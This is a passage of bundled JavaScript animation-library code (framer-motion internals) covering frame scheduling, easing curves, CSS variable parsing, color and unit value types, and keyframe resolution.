12871 var isNotNull = (value) => value !== null;
12872 function getFinalKeyframe(keyframes4, { repeat, repeatType = "loop" }, finalKeyframe) {
12873 const resolvedKeyframes = keyframes4.filter(isNotNull);
12874 const index2 = repeat && repeatType !== "loop" && repeat % 2 === 1 ? 0 : resolvedKeyframes.length - 1;
12875 return !index2 || finalKeyframe === void 0 ? resolvedKeyframes[index2] : finalKeyframe;
12876 }
12877
12878 // node_modules/motion-utils/dist/es/noop.mjs
12879 var noop2 = (any) => any;
12880
12881 // node_modules/motion-utils/dist/es/errors.mjs
12882 var warning = noop2;
12883 var invariant2 = noop2;
12884 if (true) {
12885 warning = (check, message2) => {
12886 if (!check && typeof console !== "undefined") {
12887 console.warn(message2);
12888 }
12889 };
12890 invariant2 = (check, message2) => {
12891 if (!check) {
12892 throw new Error(message2);
12893 }
12894 };
12895 }
12896
12897 // packages/components/node_modules/framer-motion/dist/es/frameloop/render-step.mjs
12898 function createRenderStep(runNextFrame) {
12899 let thisFrame = /* @__PURE__ */ new Set();
12900 let nextFrame = /* @__PURE__ */ new Set();
12901 let isProcessing = false;
12902 let flushNextFrame = false;
12903 const toKeepAlive = /* @__PURE__ */ new WeakSet();
12904 let latestFrameData = {
12905 delta: 0,
12906 timestamp: 0,
12907 isProcessing: false
12908 };
12909 function triggerCallback(callback) {
12910 if (toKeepAlive.has(callback)) {
12911 step.schedule(callback);
12912 runNextFrame();
12913 }
12914 callback(latestFrameData);
12915 }
12916 const step = {
12917 /**
12918 * Schedule a process to run on the next frame.
12919 */
12920 schedule: (callback, keepAlive = false, immediate = false) => {
12921 const addToCurrentFrame = immediate && isProcessing;
12922 const queue = addToCurrentFrame ? thisFrame : nextFrame;
12923 if (keepAlive)
12924 toKeepAlive.add(callback);
12925 if (!queue.has(callback))
12926 queue.add(callback);
12927 return callback;
12928 },
12929 /**
12930 * Cancel the provided callback from running on the next frame.
12931 */
12932 cancel: (callback) => {
12933 nextFrame.delete(callback);
12934 toKeepAlive.delete(callback);
12935 },
12936 /**
12937 * Execute all schedule callbacks.
12938 */
12939 process: (frameData2) => {
12940 latestFrameData = frameData2;
12941 if (isProcessing) {
12942 flushNextFrame = true;
12943 return;
12944 }
12945 isProcessing = true;
12946 [thisFrame, nextFrame] = [nextFrame, thisFrame];
12947 thisFrame.forEach(triggerCallback);
12948 thisFrame.clear();
12949 isProcessing = false;
12950 if (flushNextFrame) {
12951 flushNextFrame = false;
12952 step.process(frameData2);
12953 }
12954 }
12955 };
12956 return step;
12957 }
12958
12959 // packages/components/node_modules/framer-motion/dist/es/frameloop/batcher.mjs
12960 var stepsOrder = [
12961 "read",
12962 // Read
12963 "resolveKeyframes",
12964 // Write/Read/Write/Read
12965 "update",
12966 // Compute
12967 "preRender",
12968 // Compute
12969 "render",
12970 // Write
12971 "postRender"
12972 // Compute
12973 ];
12974 var maxElapsed = 40;
12975 function createRenderBatcher(scheduleNextBatch, allowKeepAlive) {
12976 let runNextFrame = false;
12977 let useDefaultElapsed = true;
12978 const state = {
12979 delta: 0,
12980 timestamp: 0,
12981 isProcessing: false
12982 };
12983 const flagRunNextFrame = () => runNextFrame = true;
12984 const steps = stepsOrder.reduce((acc, key) => {
12985 acc[key] = createRenderStep(flagRunNextFrame);
12986 return acc;
12987 }, {});
12988 const { read, resolveKeyframes, update, preRender, render, postRender } = steps;
12989 const processBatch = () => {
12990 const timestamp = MotionGlobalConfig.useManualTiming ? state.timestamp : performance.now();
12991 runNextFrame = false;
12992 state.delta = useDefaultElapsed ? 1e3 / 60 : Math.max(Math.min(timestamp - state.timestamp, maxElapsed), 1);
12993 state.timestamp = timestamp;
12994 state.isProcessing = true;
12995 read.process(state);
12996 resolveKeyframes.process(state);
12997 update.process(state);
12998 preRender.process(state);
12999 render.process(state);
13000 postRender.process(state);
13001 state.isProcessing = false;
13002 if (runNextFrame && allowKeepAlive) {
13003 useDefaultElapsed = false;
13004 scheduleNextBatch(processBatch);
13005 }
13006 };
13007 const wake = () => {
13008 runNextFrame = true;
13009 useDefaultElapsed = true;
13010 if (!state.isProcessing) {
13011 scheduleNextBatch(processBatch);
13012 }
13013 };
13014 const schedule = stepsOrder.reduce((acc, key) => {
13015 const step = steps[key];
13016 acc[key] = (process2, keepAlive = false, immediate = false) => {
13017 if (!runNextFrame)
13018 wake();
13019 return step.schedule(process2, keepAlive, immediate);
13020 };
13021 return acc;
13022 }, {});
13023 const cancel = (process2) => {
13024 for (let i3 = 0; i3 < stepsOrder.length; i3++) {
13025 steps[stepsOrder[i3]].cancel(process2);
13026 }
13027 };
13028 return { schedule, cancel, state, steps };
13029 }
13030
13031 // packages/components/node_modules/framer-motion/dist/es/frameloop/frame.mjs
13032 var { schedule: frame, cancel: cancelFrame, state: frameData, steps: frameSteps } = createRenderBatcher(typeof requestAnimationFrame !== "undefined" ? requestAnimationFrame : noop2, true);
13033
13034 // packages/components/node_modules/framer-motion/dist/es/easing/cubic-bezier.mjs
13035 var calcBezier = (t4, a1, a22) => (((1 - 3 * a22 + 3 * a1) * t4 + (3 * a22 - 6 * a1)) * t4 + 3 * a1) * t4;
13036 var subdivisionPrecision = 1e-7;
13037 var subdivisionMaxIterations = 12;
13038 function binarySubdivide(x2, lowerBound, upperBound, mX1, mX2) {
13039 let currentX;
13040 let currentT;
13041 let i3 = 0;
13042 do {
13043 currentT = lowerBound + (upperBound - lowerBound) / 2;
13044 currentX = calcBezier(currentT, mX1, mX2) - x2;
13045 if (currentX > 0) {
13046 upperBound = currentT;
13047 } else {
13048 lowerBound = currentT;
13049 }
13050 } while (Math.abs(currentX) > subdivisionPrecision && ++i3 < subdivisionMaxIterations);
13051 return currentT;
13052 }
13053 function cubicBezier(mX1, mY1, mX2, mY2) {
13054 if (mX1 === mY1 && mX2 === mY2)
13055 return noop2;
13056 const getTForX = (aX) => binarySubdivide(aX, 0, 1, mX1, mX2);
13057 return (t4) => t4 === 0 || t4 === 1 ? t4 : calcBezier(getTForX(t4), mY1, mY2);
13058 }
13059
13060 // packages/components/node_modules/framer-motion/dist/es/easing/modifiers/mirror.mjs
13061 var mirrorEasing = (easing) => (p3) => p3 <= 0.5 ? easing(2 * p3) / 2 : (2 - easing(2 * (1 - p3))) / 2;
13062
13063 // packages/components/node_modules/framer-motion/dist/es/easing/modifiers/reverse.mjs
13064 var reverseEasing = (easing) => (p3) => 1 - easing(1 - p3);
13065
13066 // packages/components/node_modules/framer-motion/dist/es/easing/back.mjs
13067 var backOut = /* @__PURE__ */ cubicBezier(0.33, 1.53, 0.69, 0.99);
13068 var backIn = /* @__PURE__ */ reverseEasing(backOut);
13069 var backInOut = /* @__PURE__ */ mirrorEasing(backIn);
13070
13071 // packages/components/node_modules/framer-motion/dist/es/easing/anticipate.mjs
13072 var anticipate = (p3) => (p3 *= 2) < 1 ? 0.5 * backIn(p3) : 0.5 * (2 - Math.pow(2, -10 * (p3 - 1)));
13073
13074 // packages/components/node_modules/framer-motion/dist/es/easing/circ.mjs
13075 var circIn = (p3) => 1 - Math.sin(Math.acos(p3));
13076 var circOut = reverseEasing(circIn);
13077 var circInOut = mirrorEasing(circIn);
13078
13079 // packages/components/node_modules/framer-motion/dist/es/utils/is-zero-value-string.mjs
13080 var isZeroValueString = (v3) => /^0[^.\s]+$/u.test(v3);
13081
13082 // packages/components/node_modules/framer-motion/dist/es/animation/utils/is-none.mjs
13083 function isNone(value) {
13084 if (typeof value === "number") {
13085 return value === 0;
13086 } else if (value !== null) {
13087 return value === "none" || value === "0" || isZeroValueString(value);
13088 } else {
13089 return true;
13090 }
13091 }
13092
13093 // packages/components/node_modules/framer-motion/dist/es/utils/is-numerical-string.mjs
13094 var isNumericalString = (v3) => /^-?(?:\d+(?:\.\d+)?|\.\d+)$/u.test(v3);
13095
13096 // packages/components/node_modules/framer-motion/dist/es/render/dom/utils/is-css-variable.mjs
13097 var checkStringStartsWith = (token2) => (key) => typeof key === "string" && key.startsWith(token2);
13098 var isCSSVariableName = /* @__PURE__ */ checkStringStartsWith("--");
13099 var startsAsVariableToken = /* @__PURE__ */ checkStringStartsWith("var(--");
13100 var isCSSVariableToken = (value) => {
13101 const startsWithToken = startsAsVariableToken(value);
13102 if (!startsWithToken)
13103 return false;
13104 return singleCssVariableRegex.test(value.split("/*")[0].trim());
13105 };
13106 var singleCssVariableRegex = /var\(--(?:[\w-]+\s*|[\w-]+\s*,(?:\s*[^)(\s]|\s*\((?:[^)(]|\([^)(]*\))*\))+\s*)\)$/iu;
13107
13108 // packages/components/node_modules/framer-motion/dist/es/render/dom/utils/css-variables-conversion.mjs
13109 var splitCSSVariableRegex = (
13110 // eslint-disable-next-line redos-detector/no-unsafe-regex -- false positive, as it can match a lot of words
13111 /^var\(--(?:([\w-]+)|([\w-]+), ?([a-zA-Z\d ()%#.,-]+))\)/u
13112 );
13113 function parseCSSVariable(current) {
13114 const match4 = splitCSSVariableRegex.exec(current);
13115 if (!match4)
13116 return [,];
13117 const [, token1, token2, fallback] = match4;
13118 return [`--${token1 !== null && token1 !== void 0 ? token1 : token2}`, fallback];
13119 }
13120 var maxDepth = 4;
13121 function getVariableValue(current, element, depth = 1) {
13122 invariant2(depth <= maxDepth, `Max CSS variable fallback depth detected in property "${current}". This may indicate a circular fallback dependency.`);
13123 const [token2, fallback] = parseCSSVariable(current);
13124 if (!token2)
13125 return;
13126 const resolved = window.getComputedStyle(element).getPropertyValue(token2);
13127 if (resolved) {
13128 const trimmed = resolved.trim();
13129 return isNumericalString(trimmed) ? parseFloat(trimmed) : trimmed;
13130 }
13131 return isCSSVariableToken(fallback) ? getVariableValue(fallback, element, depth + 1) : fallback;
13132 }
13133
13134 // packages/components/node_modules/framer-motion/dist/es/utils/clamp.mjs
13135 var clamp2 = (min3, max3, v3) => {
13136 if (v3 > max3)
13137 return max3;
13138 if (v3 < min3)
13139 return min3;
13140 return v3;
13141 };
13142
13143 // packages/components/node_modules/framer-motion/dist/es/value/types/numbers/index.mjs
13144 var number = {
13145 test: (v3) => typeof v3 === "number",
13146 parse: parseFloat,
13147 transform: (v3) => v3
13148 };
13149 var alpha = {
13150 ...number,
13151 transform: (v3) => clamp2(0, 1, v3)
13152 };
13153 var scale = {
13154 ...number,
13155 default: 1
13156 };
13157
13158 // packages/components/node_modules/framer-motion/dist/es/value/types/numbers/units.mjs
13159 var createUnitType = (unit) => ({
13160 test: (v3) => typeof v3 === "string" && v3.endsWith(unit) && v3.split(" ").length === 1,
13161 parse: parseFloat,
13162 transform: (v3) => `${v3}${unit}`
13163 });
13164 var degrees = /* @__PURE__ */ createUnitType("deg");
13165 var percent = /* @__PURE__ */ createUnitType("%");
13166 var px = /* @__PURE__ */ createUnitType("px");
13167 var vh = /* @__PURE__ */ createUnitType("vh");
13168 var vw = /* @__PURE__ */ createUnitType("vw");
13169 var progressPercentage = {
13170 ...percent,
13171 parse: (v3) => percent.parse(v3) / 100,
13172 transform: (v3) => percent.transform(v3 * 100)
13173 };
13174
13175 // packages/components/node_modules/framer-motion/dist/es/render/dom/utils/unit-conversion.mjs
13176 var positionalKeys = /* @__PURE__ */ new Set([
13177 "width",
13178 "height",
13179 "top",
13180 "left",
13181 "right",
13182 "bottom",
13183 "x",
13184 "y",
13185 "translateX",
13186 "translateY"
13187 ]);
13188 var isNumOrPxType = (v3) => v3 === number || v3 === px;
13189 var getPosFromMatrix = (matrix, pos) => parseFloat(matrix.split(", ")[pos]);
13190 var getTranslateFromMatrix = (pos2, pos3) => (_bbox, { transform }) => {
13191 if (transform === "none" || !transform)
13192 return 0;
13193 const matrix3d = transform.match(/^matrix3d\((.+)\)$/u);
13194 if (matrix3d) {
13195 return getPosFromMatrix(matrix3d[1], pos3);
13196 } else {
13197 const matrix = transform.match(/^matrix\((.+)\)$/u);
13198 if (matrix) {
13199 return getPosFromMatrix(matrix[1], pos2);
13200 } else {
13201 return 0;
13202 }
13203 }
13204 };
13205 var transformKeys = /* @__PURE__ */ new Set(["x", "y", "z"]);
13206 var nonTranslationalTransformKeys = transformPropOrder.filter((key) => !transformKeys.has(key));
13207 function removeNonTranslationalTransform(visualElement) {
13208 const removedTransforms = [];
13209 nonTranslationalTransformKeys.forEach((key) => {
13210 const value = visualElement.getValue(key);
13211 if (value !== void 0) {
13212 removedTransforms.push([key, value.get()]);
13213 value.set(key.startsWith("scale") ? 1 : 0);
13214 }
13215 });
13216 return removedTransforms;
13217 }
13218 var positionalValues = {
13219 // Dimensions
13220 width: ({ x: x2 }, { paddingLeft = "0", paddingRight = "0" }) => x2.max - x2.min - parseFloat(paddingLeft) - parseFloat(paddingRight),
13221 height: ({ y: y3 }, { paddingTop = "0", paddingBottom = "0" }) => y3.max - y3.min - parseFloat(paddingTop) - parseFloat(paddingBottom),
13222 top: (_bbox, { top }) => parseFloat(top),
13223 left: (_bbox, { left }) => parseFloat(left),
13224 bottom: ({ y: y3 }, { top }) => parseFloat(top) + (y3.max - y3.min),
13225 right: ({ x: x2 }, { left }) => parseFloat(left) + (x2.max - x2.min),
13226 // Transform
13227 x: getTranslateFromMatrix(4, 13),
13228 y: getTranslateFromMatrix(5, 14)
13229 };
13230 positionalValues.translateX = positionalValues.x;
13231 positionalValues.translateY = positionalValues.y;
13232
13233 // packages/components/node_modules/framer-motion/dist/es/render/dom/value-types/test.mjs
13234 var testValueType = (v3) => (type) => type.test(v3);
13235
13236 // packages/components/node_modules/framer-motion/dist/es/render/dom/value-types/type-auto.mjs
13237 var auto = {
13238 test: (v3) => v3 === "auto",
13239 parse: (v3) => v3
13240 };
13241
13242 // packages/components/node_modules/framer-motion/dist/es/render/dom/value-types/dimensions.mjs
13243 var dimensionValueTypes = [number, px, percent, degrees, vw, vh, auto];
13244 var findDimensionValueType = (v3) => dimensionValueTypes.find(testValueType(v3));
13245
13246 // packages/components/node_modules/framer-motion/dist/es/render/utils/KeyframesResolver.mjs
13247 var toResolve = /* @__PURE__ */ new Set();
13248 var isScheduled = false;
13249 var anyNeedsMeasurement = false;
13250 function measureAllKeyframes() {
13251 if (anyNeedsMeasurement) {
13252 const resolversToMeasure = Array.from(toResolve).filter((resolver) => resolver.needsMeasurement);
13253 const elementsToMeasure = new Set(resolversToMeasure.map((resolver) => resolver.element));
13254 const transformsToRestore = /* @__PURE__ */ new Map();
13255 elementsToMeasure.forEach((element) => {
13256 const removedTransforms = removeNonTranslationalTransform(element);
13257 if (!removedTransforms.length)
13258 return;
13259 transformsToRestore.set(element, removedTransforms);
13260 element.render();
13261 });
13262 resolversToMeasure.forEach((resolver) => resolver.measureInitialState());
13263 elementsToMeasure.forEach((element) => {
13264 element.render();
13265 const restore = transformsToRestore.get(element);
13266 if (restore) {
13267 restore.forEach(([key, value]) => {
13268 var _a;
13269 (_a = element.getValue(key)) === null || _a === void 0 ? void 0 : _a.set(value);
13270 });
13271 }
13272 });
13273 resolversToMeasure.forEach((resolver) => resolver.measureEndState());
13274 resolversToMeasure.forEach((resolver) => {
13275 if (resolver.suspendedScrollY !== void 0) {
13276 window.scrollTo(0, resolver.suspendedScrollY);
13277 }
13278 });
13279 }
13280 anyNeedsMeasurement = false;
13281 isScheduled = false;
13282 toResolve.forEach((resolver) => resolver.complete());
13283 toResolve.clear();
13284 }
13285 function readAllKeyframes() {
13286 toResolve.forEach((resolver) => {
13287 resolver.readKeyframes();
13288 if (resolver.needsMeasurement) {
13289 anyNeedsMeasurement = true;
13290 }
13291 });
13292 }
13293 function flushKeyframeResolvers() {
13294 readAllKeyframes();
13295 measureAllKeyframes();
13296 }
13297 var KeyframeResolver = class {
13298 constructor(unresolvedKeyframes, onComplete, name, motionValue2, element, isAsync = false) {
13299 this.isComplete = false;
13300 this.isAsync = false;
13301 this.needsMeasurement = false;
13302 this.isScheduled = false;
13303 this.unresolvedKeyframes = [...unresolvedKeyframes];
13304 this.onComplete = onComplete;
13305 this.name = name;
13306 this.motionValue = motionValue2;
13307 this.element = element;
13308 this.isAsync = isAsync;
13309 }
13310 scheduleResolve() {
13311 this.isScheduled = true;
13312 if (this.isAsync) {
13313 toResolve.add(this);
13314 if (!isScheduled) {
13315 isScheduled = true;
13316 frame.read(readAllKeyframes);
13317 frame.resolveKeyframes(measureAllKeyframes);
13318 }
13319 } else {
13320 this.readKeyframes();
13321 this.complete();
13322 }
13323 }
13324 readKeyframes() {
13325 const { unresolvedKeyframes, name, element, motionValue: motionValue2 } = this;
13326 for (let i3 = 0; i3 < unresolvedKeyframes.length; i3++) {
13327 if (unresolvedKeyframes[i3] === null) {
13328 if (i3 === 0) {
13329 const currentValue = motionValue2 === null || motionValue2 === void 0 ? void 0 : motionValue2.get();
13330 const finalKeyframe = unresolvedKeyframes[unresolvedKeyframes.length - 1];
13331 if (currentValue !== void 0) {
13332 unresolvedKeyframes[0] = currentValue;
13333 } else if (element && name) {
13334 const valueAsRead = element.readValue(name, finalKeyframe);
13335 if (valueAsRead !== void 0 && valueAsRead !== null) {
13336 unresolvedKeyframes[0] = valueAsRead;
13337 }
13338 }
13339 if (unresolvedKeyframes[0] === void 0) {
13340 unresolvedKeyframes[0] = finalKeyframe;
13341 }
13342 if (motionValue2 && currentValue === void 0) {
13343 motionValue2.set(unresolvedKeyframes[0]);
13344 }
13345 } else {
13346 unresolvedKeyframes[i3] = unresolvedKeyframes[i3 - 1];
13347 }
13348 }
13349 }
13350 }
13351 setFinalKeyframe() {
13352 }
13353 measureInitialState() {
13354 }
13355 renderEndStyles() {
13356 }
13357 measureEndState() {
13358 }
13359 complete() {
13360 this.isComplete = true;
13361 this.onComplete(this.unresolvedKeyframes, this.finalKeyframe);
13362 toResolve.delete(this);
13363 }
13364 cancel() {
13365 if (!this.isComplete) {
13366 this.isScheduled = false;
13367 toResolve.delete(this);
13368 }
13369 }
13370 resume() {
13371 if (!this.isComplete)
13372 this.scheduleResolve();
13373 }
13374 };
13375
13376 // packages/components/node_modules/framer-motion/dist/es/value/types/utils/sanitize.mjs
13377 var sanitize = (v3) => Math.round(v3 * 1e5) / 1e5;
13378
13379 // packages/components/node_modules/framer-motion/dist/es/value/types/utils/float-regex.mjs
13380 var floatRegex = /-?(?:\d+(?:\.\d+)?|\.\d+)/gu;
13381
13382 // packages/components/node_modules/framer-motion/dist/es/value/types/utils/is-nullish.mjs
13383 function isNullish(v3) {
13384 return v3 == null;
13385 }
13386
13387 // packages/components/node_modules/framer-motion/dist/es/value/types/utils/single-color-regex.mjs
13388 var singleColorRegex = /^(?:#[\da-f]{3,8}|(?:rgb|hsl)a?\((?:-?[\d.]+%?[,\s]+){2}-?[\d.]+%?\s*(?:[,/]\s*)?(?:\b\d+(?:\.\d+)?|\.\d+)?%?\))$/iu;
13389
13390 // packages/components/node_modules/framer-motion/dist/es/value/types/color/utils.mjs
13391 var isColorString = (type, testProp) => (v3) => {
13392 return Boolean(typeof v3 === "string" && singleColorRegex.test(v3) && v3.startsWith(type) || testProp && !isNullish(v3) && Object.prototype.hasOwnProperty.call(v3, testProp));
13393 };
13394 var splitColor = (aName, bName, cName) => (v3) => {
13395 if (typeof v3 !== "string")
13396 return v3;
13397 const [a3, b3, c3, alpha2] = v3.match(floatRegex);
13398 return {
13399 [aName]: parseFloat(a3),
13400 [bName]: parseFloat(b3),
13401 [cName]: parseFloat(c3),
13402 alpha: alpha2 !== void 0 ? parseFloat(alpha2) : 1
13403 };
13404 };
13405
13406 // packages/components/node_modules/framer-motion/dist/es/value/types/color/rgba.mjs
13407 var clampRgbUnit = (v3) => clamp2(0, 255, v3);
13408 var rgbUnit = {
13409 ...number,
13410 transform: (v3) => Math.round(clampRgbUnit(v3))
13411 };
13412 var rgba = {
13413 test: /* @__PURE__ */ isColorString("rgb", "red"),
13414 parse: /* @__PURE__ */ splitColor("red", "green", "blue"),
13415 transform: ({ red, green, blue, alpha: alpha$1 = 1 }) => "rgba(" + rgbUnit.transform(red) + ", " + rgbUnit.transform(green) + ", " + rgbUnit.transform(blue) + ", " + sanitize(alpha.transform(alpha$1)) + ")"
13416 };
13417
13418 // packages/components/node_modules/framer-motion/dist/es/value/types/color/hex.mjs
13419 function parseHex(v3) {
13420 let r4 = "";
13421 let g3 = "";
13422 let b3 = "";
13423 let a3 = "";
13424 if (v3.length > 5) {
13425 r4 = v3.substring(1, 3);
13426 g3 = v3.substring(3, 5);
13427 b3 = v3.substring(5, 7);
13428 a3 = v3.substring(7, 9);
13429 } else {
13430 r4 = v3.substring(1, 2);
13431 g3 = v3.substring(2, 3);
13432 b3 = v3.substring(3, 4);
13433 a3 = v3.substring(4, 5);
13434 r4 += r4;
13435 g3 += g3;
13436 b3 += b3;
13437 a3 += a3;
13438 }
13439 return {
13440 red: parseInt(r4, 16),
13441 green: parseInt(g3, 16),
13442 blue: parseInt(b3, 16),
13443 alpha: a3 ? parseInt(a3, 16) / 255 : 1
13444 };
13445 }
13446 var hex = {
13447 test: /* @__PURE__ */ isColorString("#"),
13448 parse: parseHex,
13449 transform: rgba.transform
13450 };
13451
13452 // packages/components/node_modules/framer-motion/dist/es/value/types/color/hsla.mjs
13453 var hsla = {
13454 test: /* @__PURE__ */ isColorString("hsl", "hue"),
13455 parse: /* @__PURE__ */ splitColor("hue", "saturation", "lightness"),
13456 transform: ({ hue, saturation, lightness, alpha: alpha$1 = 1 }) => {
13457 return "hsla(" + Math.round(hue) + ", " + percent.transform(sanitize(saturation)) + ", " + percent.transform(sanitize(lightness)) + ", " + sanitize(alpha.transform(alpha$1)) + ")";
13458 }
13459 };
13460
13461 // packages/components/node_modules/framer-motion/dist/es/value/types/color/index.mjs
13462 var color = {
13463 test: (v3) => rgba.test(v3) || hex.test(v3) || hsla.test(v3),
13464 parse: (v3) => {
13465 if (rgba.test(v3)) {
13466 return rgba.parse(v3);
13467 } else if (hsla.test(v3)) {
13468 return hsla.parse(v3);
13469 } else {
13470 return hex.parse(v3);
13471 }
13472 },
13473 transform: (v3) => {
13474 return typeof v3 === "string" ? v3 : v3.hasOwnProperty("red") ? rgba.transform(v3) : hsla.transform(v3);
13475 }
13476 };
13477
13478 // packages/components/node_modules/framer-motion/dist/es/value/types/utils/color-regex.mjs
13479 var colorRegex = /(?:#[\da-f]{3,8}|(?:rgb|hsl)a?\((?:-?[\d.]+%?[,\s]+){2}-?[\d.]+%?\s*(?:[,/]\s*)?(?:\b\d+(?:\.\d+)?|\.\d+)?%?\))/giu;
13480
13481 // packages/components/node_modules/framer-motion/dist/es/value/types/complex/index.mjs
13482 function test(v3) {
13483 var _a, _b;
13484 return isNaN(v3) && typeof v3 === "string" && (((_a = v3.match(floatRegex)) === null || _a === void 0 ? void 0 : _a.length) || 0) + (((_b = v3.match(colorRegex)) === null || _b === void 0 ? void 0 : _b.length) || 0) > 0;
13485 }
13486 var NUMBER_TOKEN = "number";
13487 var COLOR_TOKEN = "color";
13488 var VAR_TOKEN = "var";
13489 var VAR_FUNCTION_TOKEN = "var(";
13490 var SPLIT_TOKEN = "${}";
13491 var complexRegex = /var\s*\(\s*--(?:[\w-]+\s*|[\w-]+\s*,(?:\s*[^)(\s]|\s*\((?:[^)(]|\([^)(]*\))*\))+\s*)\)|#[\da-f]{3,8}|(?:rgb|hsl)a?\((?:-?[\d.]+%?[,\s]+){2}-?[\d.]+%?\s*(?:[,/]\s*)?(?:\b\d+(?:\.\d+)?|\.\d+)?%?\)|-?(?:\d+(?:\.\d+)?|\.\d+)/giu;
13492 function analyseComplexValue(value) {
13493 const originalValue = value.toString();
13494 const values = [];
13495 const indexes = {
13496 color: [],
13497 number: [],
13498 var: []
13499 };
13500 const types = [];
13501 let i3 = 0;
13502 const tokenised = originalValue.replace(complexRegex, (parsedValue) => {
13503 if (color.test(parsedValue)) {
13504 indexes.color.push(i3);
13505 types.push(COLOR_TOKEN);
13506 values.push(color.parse(parsedValue));
13507 } else if (parsedValue.startsWith(VAR_FUNCTION_TOKEN)) {
13508 indexes.var.push(i3);
13509 types.push(VAR_TOKEN);
13510 values.push(parsedValue);
13511 } else {
13512 indexes.number.push(i3);
13513 types.push(NUMBER_TOKEN);
13514 values.push(parseFloat(parsedValue));
13515 }
13516 ++i3;
13517 return SPLIT_TOKEN;
13518 });
13519 const split = tokenised.split(SPLIT_TOKEN);
13520 return { values, split, indexes, types };
13521 }
13522 function parseComplexValue(v3) {
13523 return analyseComplexValue(v3).values;
13524 }
13525 function createTransformer(source) {
13526 const { split, types } = analyseComplexValue(source);
13527 const numSections = split.length;
13528 return (v3) => {
13529 let output = "";
13530 for (let i3 = 0; i3 < numSections; i3++) {
13531 output += split[i3];
13532 if (v3[i3] !== void 0) {
13533 const type = types[i3];
13534 if (type === NUMBER_TOKEN) {
13535 output += sanitize(v3[i3]);
13536 } else if (type === COLOR_TOKEN) {
13537 output += color.transform(v3[i3]);
13538 } else {
13539 output += v3[i3];
13540 }
13541 }
13542 }
13543 return output;
13544 };
13545 }
13546 var convertNumbersToZero = (v3) => typeof v3 === "number" ? 0 : v3;
13547 function getAnimatableNone(v3) {
13548 const parsed = parseComplexValue(v3);
13549 const transformer = createTransformer(v3);
13550 return transformer(parsed.map(convertNumbersToZero));
13551 }
13552 var complex = {
13553 test,
13554 parse: parseComplexValue,
13555 createTransformer,
13556 getAnimatableNone
13557 };
13558
13559 // packages/components/node_modules/framer-motion/dist/es/value/types/complex/filter.mjs
13560 var maxDefaults = /* @__PURE__ */ new Set(["brightness", "contrast", "saturate", "opacity"]);
13561 function applyDefaultFilter(v3) {
13562 const [name, value] = v3.slice(0, -1).split("(");
13563 if (name === "drop-shadow")
13564 return v3;
13565 const [number2] = value.match(floatRegex) || [];
13566 if (!number2)
13567 return v3;
13568 const unit = value.replace(number2, "");
13569 let defaultValue2 = maxDefaults.has(name) ? 1 : 0;
13570 if (number2 !== value)
13571 defaultValue2 *= 100;
13572 return name + "(" + defaultValue2 + unit + ")";
13573 }
13574 var functionRegex = /\b([a-z-]*)\(.*?\)/gu;
13575 var filter = {
13576 ...complex,
13577 getAnimatableNone: (v3) => {
13578 const functions = v3.match(functionRegex);
13579 return functions ? functions.map(applyDefaultFilter).join(" ") : v3;
13580 }
13581 };
13582
13583 // packages/components/node_modules/framer-motion/dist/es/render/dom/value-types/number-browser.mjs
13584 var browserNumberValueTypes = {
13585 // Border props
13586 borderWidth: px,
13587 borderTopWidth: px,
13588 borderRightWidth: px,
13589 borderBottomWidth: px,
13590 borderLeftWidth: px,
13591 borderRadius: px,
13592 radius: px,
13593 borderTopLeftRadius: px,
13594 borderTopRightRadius: px,
13595 borderBottomRightRadius: px,
13596 borderBottomLeftRadius: px,
13597 // Positioning props
13598 width: px,
13599 maxWidth: px,
13600 height: px,
13601 maxHeight: px,
13602 top: px,
13603 right: px,
13604 bottom: px,
13605 left: px,
13606 // Spacing props
13607 padding: px,
13608 paddingTop: px,
13609 paddingRight: px,
13610 paddingBottom: px,
13611 paddingLeft: px,
13612 margin: px,
13613 marginTop: px,
13614 marginRight: px,
13615 marginBottom: px,
13616 marginLeft: px,
13617 // Misc
13618 backgroundPositionX: px,
13619 backgroundPositionY: px
13620 };
13621
13622 // packages/components/node_modules/framer-motion/dist/es/render/dom/value-types/transform.mjs
13623 var transformValueTypes = {
13624 rotate: degrees,
13625 rotateX: degrees,
13626 rotateY: degrees,
13627 rotateZ: degrees,
13628 scale,
13629 scaleX: scale,
13630 scaleY: scale,
13631 scaleZ: scale,
13632 skew: degrees,
13633 skewX: degrees,
13634 skewY: degrees,
13635 distance: px,
13636 translateX: px,
13637 translateY: px,
13638 translateZ: px,
13639 x: px,
13640 y: px,
13641 z: px,
13642 perspective: px,
13643 transformPerspective: px,
13644 opacity: alpha,
13645 originX: progressPercentage,
13646 originY: progressPercentage,
13647 originZ: px
13648 };
13649
13650 // packages/components/node_modules/framer-motion/dist/es/render/dom/value-types/type-int.mjs
13651 var int = {
13652 ...number,
13653 transform: Math.round
13654 };
13655
13656 // packages/components/node_modules/framer-motion/dist/es/render/dom/value-types/number.mjs
13657 var numberValueTypes = {
13658 ...browserNumberValueTypes,
13659 ...transformValueTypes,
13660 zIndex: int,
13661 size: px,
13662 // SVG
13663 fillOpacity: alpha,
13664 strokeOpacity: alpha,
13665 numOctaves: int
13666 };
13667
13668 // packages/components/node_modules/framer-motion/dist/es/render/dom/value-types/defaults.mjs
13669 var defaultValueTypes = {
13670 ...numberValueTypes,
13671 // Color props
13672 color,
13673 backgroundColor: color,
13674 outlineColor: color,
13675 fill: color,
13676 stroke: color,
13677 // Border props
13678 borderColor: color,
13679 borderTopColor: color,
13680 borderRightColor: color,
13681 borderBottomColor: color,
13682 borderLeftColor: color,
13683 filter,
13684 WebkitFilter: filter
13685 };
13686 var getDefaultValueType = (key) => defaultValueTypes[key];
13687
13688 // packages/components/node_modules/framer-motion/dist/es/render/dom/value-types/animatable-none.mjs
13689 function getAnimatableNone2(key, value) {
13690 let defaultValueType = getDefaultValueType(key);
13691 if (defaultValueType !== filter)
13692 defaultValueType = complex;
13693 return defaultValueType.getAnimatableNone ? defaultValueType.getAnimatableNone(value) : void 0;
13694 }
13695
13696 // packages/components/node_modules/framer-motion/dist/es/render/html/utils/make-none-animatable.mjs
13697 var invalidTemplates = /* @__PURE__ */ new Set(["auto", "none", "0"]);
13698 function makeNoneKeyframesAnimatable(unresolvedKeyframes, noneKeyframeIndexes, name) {
13699 let i3 = 0;
13700 let animatableTemplate = void 0;
13701 while (i3 < unresolvedKeyframes.length && !animatableTemplate) {
13702 const keyframe = unresolvedKeyframes[i3];
13703 if (typeof keyframe === "string" && !invalidTemplates.has(keyframe) && analyseComplexValue(keyframe).values.length) {
13704 animatableTemplate = unresolvedKeyframes[i3];
13705 }
13706 i3++;
13707 }
13708 if (animatableTemplate && name) {
13709 for (const noneIndex of noneKeyframeIndexes) {
